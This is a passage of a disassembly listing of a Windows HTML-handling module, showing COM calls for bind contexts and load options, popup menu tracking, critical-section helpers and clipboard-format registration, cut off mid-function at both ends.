		mov	eax, [ebp+pBC]
		lea	edx, [ebp+var_10]
		push	edx
		push	offset aXslparameters ;	"XSLParameters"
		mov	[edi], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+28h]
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_69B80165
		mov	ecx, [eax]
		push	edi
		push	offset dword_69B8039C
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	loc_69B8029B


loc_69B80165:				; CODE XREF: sub_69B800FB+55j
		mov	edi, [ebp+pBC]
		mov	eax, [edi]
		lea	ecx, [ebp+var_8]
		push	ecx
		push	offset aXmlbufferstrea ; "XMLBufferStream"
		push	edi
		call	dword ptr [eax+28h]
		lea	eax, [ebp+ppbc]
		push	eax		; ppbc
		push	ebx		; reserved
		call	ds:CreateBindCtx
		test	eax, eax
		jl	loc_69B8029B
		push	[ebp+ppbc]
		push	edi
		push	offset a__dwnbindinfo ;	"__DWNBINDINFO"
		call	sub_69B7E12C
		test	eax, eax
		jl	loc_69B8029B
		push	[ebp+ppbc]
		push	edi
		push	offset a__htmlloadopti ; "__HTMLLOADOPTIONS"
		call	sub_69B7E12C
		test	eax, eax
		jl	loc_69B8029B
		cmp	[ebp+var_8], ebx
		jz	short loc_69B801D7
		push	[ebp+var_8]	; int
		mov	ecx, esi
		push	[ebp+arg_10]	; int
		push	[ebp+ppbc]	; int
		push	edi		; pBC
		push	[ebp+arg_8]	; int
		push	[ebp+arg_4]	; int
		call	sub_69B7FB0F
		jmp	loc_69B8029B
; ---------------------------------------------------------------------------


loc_69B801D7:				; CODE XREF: sub_69B800FB+BEj
		mov	eax, [esi+2Ch]
		cmp	eax, ebx
		jz	short loc_69B801E4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B801E4:				; CODE XREF: sub_69B800FB+E1j
		mov	edi, [ebp+arg_8]
		mov	[esi+2Ch], edi
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		push	4Ch
		call	sub_69B11E44
		cmp	eax, ebx
		jz	short loc_69B80207
		mov	ecx, eax
		call	sub_69B81E26
		mov	[ebp+var_8], eax
		jmp	short loc_69B8020A
; ---------------------------------------------------------------------------


loc_69B80207:				; CODE XREF: sub_69B800FB+FEj
		mov	[ebp+var_8], ebx


loc_69B8020A:				; CODE XREF: sub_69B800FB+10Aj
		cmp	[ebp+var_8], ebx
		jz	loc_69B8029B
		push	10h
		call	sub_69B11E44
		cmp	eax, ebx
		jz	short loc_69B8022E
		push	edi
		push	[ebp+var_8]
		mov	ecx, eax
		call	sub_69B8215B
		mov	[ebp+var_C], eax
		jmp	short loc_69B80231
; ---------------------------------------------------------------------------


loc_69B8022E:				; CODE XREF: sub_69B800FB+121j
		mov	[ebp+var_C], ebx


loc_69B80231:				; CODE XREF: sub_69B800FB+131j
		cmp	[ebp+var_C], ebx
		jz	short loc_69B8029B
		push	[ebp+ppbc]
		push	[ebp+pBC]
		push	offset aD4db6850538511 ; "{d4db6850-5385-11d0-89e9-00a0c90a90ac}"
		call	sub_69B7E12C
		test	eax, eax
		jl	short loc_69B8029B
		mov	eax, [esi+20h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_14]
		push	edx
		push	offset dword_69B2AFA0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B8029B
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		push	ebx
		push	[ebp+ppbc]
		push	[ebp+var_C]
		push	ebx
		push	eax
		call	dword ptr [ecx+14h]
		mov	ebx, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		test	ebx, ebx
		jl	short loc_69B80299
		push	[ebp+var_8]	; int
		mov	ecx, esi
		push	[ebp+arg_10]	; int
		push	[ebp+pBC]	; int
		push	[ebp+ppbc]	; pBC
		push	edi		; int
		push	[ebp+arg_4]	; int
		call	sub_69B7FB0F


loc_69B80299:				; CODE XREF: sub_69B800FB+185j
		xor	ebx, ebx


loc_69B8029B:				; CODE XREF: sub_69B800FB+64j
					; sub_69B800FB+89j ...
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		pop	edi
		jz	short loc_69B802A9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B802A9:				; CODE XREF: sub_69B800FB+1A6j
		mov	eax, [ebp+ppbc]
		cmp	eax, ebx
		mov	[ebp+var_10], ebx
		jz	short loc_69B802B9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B802B9:				; CODE XREF: sub_69B800FB+1B6j
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		mov	[ebp+ppbc], ebx
		jz	short loc_69B802C9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B802C9:				; CODE XREF: sub_69B800FB+1C6j
		mov	eax, [ebp+var_14]
		cmp	eax, ebx
		jz	short loc_69B802D6
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B802D6:				; CODE XREF: sub_69B800FB+1D3j
		mov	eax, [ebp+var_8]
		pop	esi
		mov	[ebp+var_14], ebx
		cmp	eax, ebx
		pop	ebx
		jz	short loc_69B802E8
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B802E8:				; CODE XREF: sub_69B800FB+1E5j
		xor	eax, eax
		leave
		retn	14h
sub_69B800FB	endp

; ---------------------------------------------------------------------------
		align 10h
aD4db6850538511:			; DATA XREF: sub_69B800FB+141o
		unicode	0, <{d4db6850-5385-11d0-89e9-00a0c90a90ac}>,0
		align 10h
a__htmlloadopti:			; DATA XREF: sub_69B800FB+A9o
		unicode	0, <__HTMLLOADOPTIONS>,0
a__dwnbindinfo:				; DATA XREF: sub_69B800FB+93o
		unicode	0, <__DWNBINDINFO>,0
aXslparameters:				; DATA XREF: sub_69B800FB+43o
		unicode	0, <XSLParameters>,0
dword_69B8039C	dd 55272A00h, 11CE42CBh, 0AA003581h, 51B84B00h
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B803AC	proc near		; DATA XREF: .text:69B2A750o

var_3C		= byte ptr -3Ch
var_34		= word ptr -34h
var_20		= byte ptr -20h
hMenu		= dword	ptr -18h
y		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		and	[ebp+var_8], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+3Ch]
		test	eax, eax
		lea	ecx, [eax+1]
		mov	[ebx+3Ch], ecx
		jz	short loc_69B803D3
		mov	[ebp+var_4], 80004005h
		jmp	loc_69B805A3
; ---------------------------------------------------------------------------


loc_69B803D3:				; CODE XREF: sub_69B803AC+19j
		mov	edx, [ebp+arg_4]
		test	edx, edx
		push	esi
		push	edi
		jnz	short loc_69B803FC
		cmp	[ebp+arg_8], 4
		jnz	loc_69B804CB
		push	[ebp+arg_10]
		lea	ecx, [ebx-4]
		push	[ebp+arg_C]
		call	sub_69B7FF98
		mov	[ebp+var_4], eax
		jmp	loc_69B805A1
; ---------------------------------------------------------------------------


loc_69B803FC:				; CODE XREF: sub_69B803AC+2Ej
		push	4
		pop	ecx
		mov	edi, offset dword_69B805CC
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	loc_69B804CB
		cmp	[ebp+arg_8], 1
		jnz	loc_69B804CB
		mov	eax, [ebx]
		lea	ecx, [ebp+var_20]
		push	ecx
		push	0
		push	0
		push	1Bh
		push	edx
		push	ebx
		call	dword ptr [eax+10h]
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	loc_69B805A1
		and	[ebp+arg_8], eax
		mov	eax, [ebp+arg_10]
		movsx	edi, word ptr [eax+8]
		movsx	eax, word ptr [eax+0Ah]
		nop
		mov	esi, [ebp+hMenu]
		lea	ecx, [ebx-4]
		mov	[ebp+y], eax
		call	sub_69B7E8D9
		xor	ecx, ecx
		cmp	esi, ecx
		mov	[ebp+arg_4], eax
		jz	loc_69B805A1
		cmp	eax, ecx
		jz	loc_69B805A1
		push	ecx		; prcRect
		push	eax		; hWnd
		push	ecx		; nReserved
		push	[ebp+y]		; y
		push	edi		; x
		push	ecx		; uFlags
		push	esi		; hMenu
		call	TrackPopupMenu	; TrackPopupMenu
		test	eax, eax
		jz	short loc_69B804A2
		push	1
		mov	eax, 111h
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_3C]
		push	eax
		call	ds:SHLWAPI_116
		test	eax, eax
		jz	short loc_69B804A2
		movzx	edi, [ebp+var_34]
		mov	[ebp+arg_8], 1
		jmp	short loc_69B804A5
; ---------------------------------------------------------------------------


loc_69B804A2:				; CODE XREF: sub_69B803AC+CDj
					; sub_69B803AC+E7j
		mov	edi, [ebp+arg_8]


loc_69B804A5:				; CODE XREF: sub_69B803AC+F4j
		push	esi		; hMenu
		call	DestroyMenu	; DestroyMenu
		xor	eax, eax
		cmp	[ebp+arg_8], eax
		jz	loc_69B805A1
		mov	ecx, [ebx]
		push	eax
		push	eax
		push	eax
		push	edi
		push	offset dword_69B2AEE0
		push	ebx
		call	dword ptr [ecx+10h]
		jmp	loc_69B805A1
; ---------------------------------------------------------------------------


loc_69B804CB:				; CODE XREF: sub_69B803AC+34j
					; sub_69B803AC+5Ej ...
		and	[ebp+y], 0
		test	edx, edx
		jz	short loc_69B80516
		push	4
		mov	eax, offset dword_69B2AEE0
		mov	esi, edx
		pop	ecx
		mov	edi, eax
		xor	edx, edx
		repe cmpsd
		jnz	short loc_69B804EE
		cmp	[ebp+arg_8], 85Bh
		jz	short loc_69B80505


loc_69B804EE:				; CODE XREF: sub_69B803AC+137j
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B805BC
		xor	edx, edx
		repe cmpsd
		jnz	short loc_69B80516
		cmp	[ebp+arg_8], 2
		jnz	short loc_69B80516


loc_69B80505:				; CODE XREF: sub_69B803AC+140j
		mov	[ebp+arg_4], eax
		mov	[ebp+arg_8], 943h
		mov	[ebp+y], 1


loc_69B80516:				; CODE XREF: sub_69B803AC+125j
					; sub_69B803AC+151j ...
		mov	eax, [ebx+1Ch]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset nullsub_2
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	short loc_69B805A1
		cmp	[ebp+var_8], 0
		jz	short loc_69B805A1
		add	ebx, 0FFFFFFFCh
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		push	[ebp+arg_14]
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	esi, [ebp+arg_4]
		push	[ebp+arg_C]
		mov	ecx, [eax]
		push	[ebp+arg_8]
		push	esi
		push	eax
		call	dword ptr [ecx+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+8]
		cmp	[ebp+var_4], 0
		jnz	short loc_69B8058C
		test	esi, esi
		jz	short loc_69B8059E
		push	4
		pop	ecx
		mov	edi, offset dword_69B805CC
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B8059E
		cmp	[ebp+arg_8], 1Bh
		jnz	short loc_69B8059E
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8] ; hMenu
		mov	ecx, ebx
		call	sub_69B7E71B
		jmp	short loc_69B8059E
; ---------------------------------------------------------------------------


loc_69B8058C:				; CODE XREF: sub_69B803AC+1B7j
		cmp	[ebp+y], 0
		jz	short loc_69B8059E
		push	0C00CE402h
		mov	ecx, ebx
		call	sub_69B7F789


loc_69B8059E:				; CODE XREF: sub_69B803AC+1BBj
					; sub_69B803AC+1C9j ...
		mov	ebx, [ebp+arg_0]


loc_69B805A1:				; CODE XREF: sub_69B803AC+4Bj
					; sub_69B803AC+84j ...
		pop	edi
		pop	esi


loc_69B805A3:				; CODE XREF: sub_69B803AC+22j
		dec	dword ptr [ebx+3Ch]
		mov	eax, [ebp+var_8]
		test	eax, eax
		pop	ebx
		jz	short loc_69B805B4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B805B4:				; CODE XREF: sub_69B803AC+200j
		mov	eax, [ebp+var_4]
		leave
		retn	18h
sub_69B803AC	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B805BC	dd 0ED016940h, 11CFBD5Bh, 0C0004EBAh, 1608D74Fh
					; DATA XREF: sub_69B803AC+148o
dword_69B805CC	dd 214D1h, 0						; sub_69B803AC+1C0o
		dd 0C0h, 46000000h

; =============== S U B	R O U T	I N E =======================================



sub_69B805DC	proc near		; CODE XREF: sub_69B8060F+1Cj
					; sub_69B81C44+26p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_69B805F0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		and	dword ptr [esi+24h], 0


loc_69B805F0:				; CODE XREF: sub_69B805DC+8j
		mov	ecx, [esi+28h]
		test	ecx, ecx
		jz	short loc_69B8060D
		push	0
		push	0
		call	sub_69B81633
		mov	eax, [esi+28h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		and	dword ptr [esi+28h], 0


loc_69B8060D:				; CODE XREF: sub_69B805DC+19j
		pop	esi
		retn
sub_69B805DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8060F	proc near		; CODE XREF: sub_69B80996+ACp
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+24h], 0
		jz	short loc_69B80628
		mov	eax, [esi+24h]
		mov	ecx, [eax]
		push	offset word_69B26224
		push	0
		push	eax
		call	dword ptr [ecx+1Ch]


loc_69B80628:				; CODE XREF: sub_69B8060F+7j
		mov	ecx, esi
		pop	esi
		jmp	short sub_69B805DC
sub_69B8060F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8062D	proc near		; CODE XREF: sub_69B80996:loc_69B809ECp
		mov	ax, word_69B9B6BC
		test	ax, ax
		jnz	short locret_69B80656
		push	offset szFormat	; "text/html"
		call	RegisterClipboardFormatA	; RegisterClipboardFormatA
		test	ax, ax
		mov	word_69B9B6BC, ax
		jnz	short locret_69B80656
		inc	ax
		mov	word_69B9B6BC, ax

locret_69B80656:			; CODE XREF: sub_69B8062D+9j
					; sub_69B8062D+1Fj
		retn
sub_69B8062D	endp

; ---------------------------------------------------------------------------
		align 4
; char szFormat[]
szFormat	db 'text/html',0        ; DATA XREF: sub_69B8062D+Bo

; =============== S U B	R O U T	I N E =======================================



sub_69B80662	proc near		; CODE XREF: sub_69B80AE7+Ep
					; StartAddress+A8p
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+4] ; lpCriticalSection
		xor	edi, edi
		call	ds:EnterCriticalSection
		mov	ecx, [esi+8]
		test	ecx, ecx
		jz	short loc_69B80691
		mov	eax, [esi]
		mov	edi, [eax]
		dec	ecx
		mov	[esi+8], ecx
		shl	ecx, 2
		push	ecx
		lea	ecx, [eax+4]
		push	ecx
		push	eax
		call	sub_69B22103
		add	esp, 0Ch


loc_69B80691:				; CODE XREF: sub_69B80662+14j
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:LeaveCriticalSection
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B80662	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8069F	proc near		; CODE XREF: StartAddress+D7p
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+4] ; lpCriticalSection
		xor	edi, edi
		call	ds:EnterCriticalSection
		cmp	[esi+8], edi
		jz	short loc_69B806B7
		mov	eax, [esi]
		mov	edi, [eax]


loc_69B806B7:				; CODE XREF: sub_69B8069F+12j
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:LeaveCriticalSection
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B8069F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B806C5	proc near		; CODE XREF: sub_69B1E4CF:loc_69B24B0Cp
					; sub_69B80A56+3p ...
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_69B80701
		push	ebx
		xor	ebx, ebx
		cmp	[esi+8], ebx
		jbe	short loc_69B806FC


loc_69B806E0:				; CODE XREF: sub_69B806C5+35j
		mov	ecx, [edi]
		mov	eax, [ecx]
		call	dword ptr [eax+0Ch]
		mov	ecx, [edi]
		test	ecx, ecx
		jz	short loc_69B806F3
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]


loc_69B806F3:				; CODE XREF: sub_69B806C5+26j
		inc	ebx
		add	edi, 4
		cmp	ebx, [esi+8]
		jb	short loc_69B806E0


loc_69B806FC:				; CODE XREF: sub_69B806C5+19j
		and	dword ptr [esi+8], 0
		pop	ebx


loc_69B80701:				; CODE XREF: sub_69B806C5+11j
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		pop	esi
		retn
sub_69B806C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8070D	proc near		; CODE XREF: sub_69B8110C-6p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	edi, [esi]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B80747
		cmp	[esi+8], ebx
		jbe	short loc_69B80747


loc_69B80728:				; CODE XREF: sub_69B8070D+2Fj
		mov	ecx, [edi]
		mov	eax, [ecx]
		call	dword ptr [eax+14h]
		cmp	eax, [esp+0Ch+arg_0]
		jz	short loc_69B80740
		inc	ebx
		add	edi, 4
		cmp	ebx, [esi+8]
		jb	short loc_69B80728
		jmp	short loc_69B80747
; ---------------------------------------------------------------------------


loc_69B80740:				; CODE XREF: sub_69B8070D+26j
		mov	ecx, [edi]
		mov	eax, [ecx]
		call	dword ptr [eax+10h]


loc_69B80747:				; CODE XREF: sub_69B8070D+14j
					; sub_69B8070D+19j ...
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B8070D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80756	proc near		; DATA XREF: .text:69B2A794o
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	[esi+8], edi
		jnz	loc_69B80809
		cmp	[esi+18h], edi
		jz	short loc_69B80788
		push	dword ptr [esi+20h]
		mov	eax, [esi+10h]
		mov	eax, [eax+34h]
		push	dword ptr [esi+0Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		push	dword ptr [esi+14h] ; hEvent
		call	ds:ResetEvent	; ResetEvent
		mov	[esi+18h], edi


loc_69B80788:				; CODE XREF: sub_69B80756+12j
		cmp	[esi+1Ch], edi
		jnz	short loc_69B807C3
		mov	eax, [esi+0Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+64h]
		sub	eax, 4
		jz	short loc_69B807B5
		dec	eax
		jz	short loc_69B807AE
		mov	eax, [esi+0Ch]
		mov	ecx, [eax]
		push	1000h
		push	eax
		call	dword ptr [ecx+60h]
		jmp	short loc_69B807B7
; ---------------------------------------------------------------------------


loc_69B807AE:				; CODE XREF: sub_69B80756+46j
		mov	eax, 8000000Ah
		jmp	short loc_69B807B7
; ---------------------------------------------------------------------------


loc_69B807B5:				; CODE XREF: sub_69B80756+43j
		xor	eax, eax


loc_69B807B7:				; CODE XREF: sub_69B80756+56j
					; sub_69B80756+5Dj
		xor	ecx, ecx
		cmp	eax, edi
		setnl	cl
		mov	[esi+1Ch], ecx
		jmp	short loc_69B807C5
; ---------------------------------------------------------------------------


loc_69B807C3:				; CODE XREF: sub_69B80756+35j
		xor	eax, eax


loc_69B807C5:				; CODE XREF: sub_69B80756+6Bj
		cmp	eax, 8000000Ah
		jnz	short loc_69B807D1
		push	2
		pop	eax
		jmp	short loc_69B8080C
; ---------------------------------------------------------------------------


loc_69B807D1:				; CODE XREF: sub_69B80756+74j
		xor	ecx, ecx
		cmp	eax, edi
		setl	cl
		mov	eax, ecx
		cmp	eax, edi
		jnz	short loc_69B8080C
		mov	ecx, [esi+10h]
		push	edi
		push	edi
		call	sub_69B834CD
		test	eax, eax
		jl	short loc_69B80809
		mov	esi, [esi+10h]
		cmp	dword ptr [esi+58h], 2
		jnz	short loc_69B807FD
		mov	al, [esi+88h]
		jmp	short loc_69B807FF
; ---------------------------------------------------------------------------


loc_69B807FD:				; CODE XREF: sub_69B80756+9Dj
		mov	al, 1


loc_69B807FF:				; CODE XREF: sub_69B80756+A5j
		neg	al
		sbb	eax, eax
		and	eax, 0FFFFFFFEh
		inc	eax
		jmp	short loc_69B8080B
; ---------------------------------------------------------------------------


loc_69B80809:				; CODE XREF: sub_69B80756+9j
					; sub_69B80756+94j
		xor	eax, eax


loc_69B8080B:				; CODE XREF: sub_69B80756+B1j
		inc	eax


loc_69B8080C:				; CODE XREF: sub_69B80756+79j
					; sub_69B80756+86j
		pop	edi
		pop	esi
		retn
sub_69B80756	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8080F	proc near		; DATA XREF: .text:69B1F234o
					; .text:69B2A798o
		mov	eax, [ecx]
		jmp	dword ptr [eax+0Ch]
sub_69B8080F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B80814	proc near		; CODE XREF: StartAddress+57p
					; StartAddress:loc_69B80C66p ...

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ds:SHLWAPI_116
		push	edi
		xor	edi, edi
		jmp	short loc_69B80830
; ---------------------------------------------------------------------------


loc_69B80826:				; CODE XREF: sub_69B80814+29j
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:SHLWAPI_60


loc_69B80830:				; CODE XREF: sub_69B80814+10j
		push	1
		push	edi
		push	edi
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	esi ; SHLWAPI_116
		test	eax, eax
		jnz	short loc_69B80826
		pop	edi
		pop	esi
		leave
		retn
sub_69B80814	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B80843(DWORD nCount, LPHANDLE pHandles, BOOL fWaitAll, DWORD dwMilliseconds)

sub_69B80843	proc near		; CODE XREF: sub_69B1E533+65AEp
					; sub_69B814F6+32p

var_1C		= byte ptr -1Ch
nCount		= dword	ptr  8
pHandles	= dword	ptr  0Ch
fWaitAll	= dword	ptr  10h
dwMilliseconds	= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, MsgWaitForMultipleObjects
		push	48h		; dwWakeMask
		push	[ebp+dwMilliseconds] ; dwMilliseconds
		push	[ebp+fWaitAll]	; fWaitAll
		push	[ebp+pHandles]	; pHandles
		push	[ebp+nCount]	; nCount
		call	esi ; MsgWaitForMultipleObjects
		cmp	eax, [ebp+nCount]
		jnz	short loc_69B808A9
		push	ebx
		push	edi
		mov	edi, ds:SHLWAPI_116
		mov	ebx, 800Ah
		jmp	short loc_69B8087E
; ---------------------------------------------------------------------------


loc_69B80874:				; CODE XREF: sub_69B80843+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:SHLWAPI_60


loc_69B8087E:				; CODE XREF: sub_69B80843+2Fj
					; sub_69B80843+62j
		push	1
		push	800Ch
		push	ebx
		lea	eax, [ebp+var_1C]
		push	0
		push	eax
		call	edi ; SHLWAPI_116
		test	eax, eax
		jnz	short loc_69B80874
		push	48h		; dwWakeMask
		push	[ebp+dwMilliseconds] ; dwMilliseconds
		push	[ebp+fWaitAll]	; fWaitAll
		push	[ebp+pHandles]	; pHandles
		push	[ebp+nCount]	; nCount
		call	esi ; MsgWaitForMultipleObjects
		cmp	eax, [ebp+nCount]
		jz	short loc_69B8087E
		pop	edi
		pop	ebx


loc_69B808A9:				; CODE XREF: sub_69B80843+20j
		pop	esi
		leave
		retn	10h
sub_69B80843	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B808AE	proc near		; CODE XREF: sub_69B808E7+14p
					; sub_69B80B3C+1Dp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+4] ; lpCriticalSection
		xor	edi, edi
		call	ds:EnterCriticalSection
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B808D7
		mov	ecx, [esp+8+arg_0]
		test	ecx, ecx
		jz	short loc_69B808D7
		lea	edx, [ecx-1]
		cmp	edx, [esi+8]
		jnb	short loc_69B808D7
		mov	edi, [eax+ecx*8-8]


loc_69B808D7:				; CODE XREF: sub_69B808AE+13j
					; sub_69B808AE+1Bj ...
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:LeaveCriticalSection
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B808AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B808E7	proc near		; CODE XREF: sub_69B80B11+12p
					; sub_69B81C44+1Bp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		push	dword ptr [edi+4] ; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	esi, [esp+8+arg_0]
		push	esi
		mov	ecx, edi
		call	sub_69B808AE
		test	eax, eax
		jz	short loc_69B8091E
		mov	eax, [edi]
		lea	esi, [eax+esi*8-8]
		dec	dword ptr [esi+4]
		jnz	short loc_69B8091A
		push	dword ptr [esi]	; hWnd
		call	DestroyWindow	; DestroyWindow
		and	dword ptr [esi], 0


loc_69B8091A:				; CODE XREF: sub_69B808E7+26j
		xor	esi, esi
		jmp	short loc_69B80923
; ---------------------------------------------------------------------------


loc_69B8091E:				; CODE XREF: sub_69B808E7+1Bj
		mov	esi, 80004005h


loc_69B80923:				; CODE XREF: sub_69B808E7+35j
		push	dword ptr [edi+4] ; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B808E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80933	proc near		; CODE XREF: sub_69B80D36+3Ep

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+4] ; lpCriticalSection
		xor	edi, edi
		call	ds:EnterCriticalSection
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B8096A
		mov	ecx, eax
		mov	eax, [esi+8]
		xor	edx, edx
		test	eax, eax
		jbe	short loc_69B8096A
		push	ebx


loc_69B80954:				; CODE XREF: sub_69B80933+2Fj
		mov	ebx, [ecx]
		cmp	ebx, [esp+0Ch+arg_0]
		jz	short loc_69B80966
		inc	edx
		add	ecx, 8
		cmp	edx, eax
		jb	short loc_69B80954
		jmp	short loc_69B80969
; ---------------------------------------------------------------------------


loc_69B80966:				; CODE XREF: sub_69B80933+27j
		xor	edi, edi
		inc	edi


loc_69B80969:				; CODE XREF: sub_69B80933+31j
		pop	ebx


loc_69B8096A:				; CODE XREF: sub_69B80933+13j
					; sub_69B80933+1Ej
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:LeaveCriticalSection
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B80933	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8097A	proc near		; DATA XREF: .text:off_69B14648o

arg_0		= byte ptr  4

		test	[esp+arg_0], 1
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_69B14648
		jz	short loc_69B80990
		push	esi
		call	sub_69B1B2B7


loc_69B80990:				; CODE XREF: sub_69B8097A+Ej
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8097A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B80996	proc near		; CODE XREF: sub_69B80D36+4Dp
					; sub_69B81DDF+3Ep

var_20		= word ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	[esi+24h], edi
		jz	loc_69B80A39
		cmp	[esi+2Ch], edi
		jz	short loc_69B809BB
		lea	eax, [esi+34h]
		push	eax		; lpCriticalSection
		call	ds:EnterCriticalSection


loc_69B809BB:				; CODE XREF: sub_69B80996+19j
		mov	edi, [esi+10h]
		sub	edi, [esi+14h]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+arg_0], 2
		jnz	short loc_69B809CE
		mov	[esi+1Eh], bl


loc_69B809CE:				; CODE XREF: sub_69B80996+33j
		cmp	dword ptr [esi+2Ch], 0
		jz	short loc_69B809DE
		lea	eax, [esi+34h]
		push	eax		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_69B809DE:				; CODE XREF: sub_69B80996+3Cj
		test	edi, edi
		jnz	short loc_69B809EC
		cmp	[ebp+arg_0], bx
		jnz	short loc_69B809EC
		xor	eax, eax
		jmp	short loc_69B80A4F
; ---------------------------------------------------------------------------


loc_69B809EC:				; CODE XREF: sub_69B80996+4Aj
					; sub_69B80996+50j
		call	sub_69B8062D
		or	[ebp+var_14], 0FFFFFFFFh
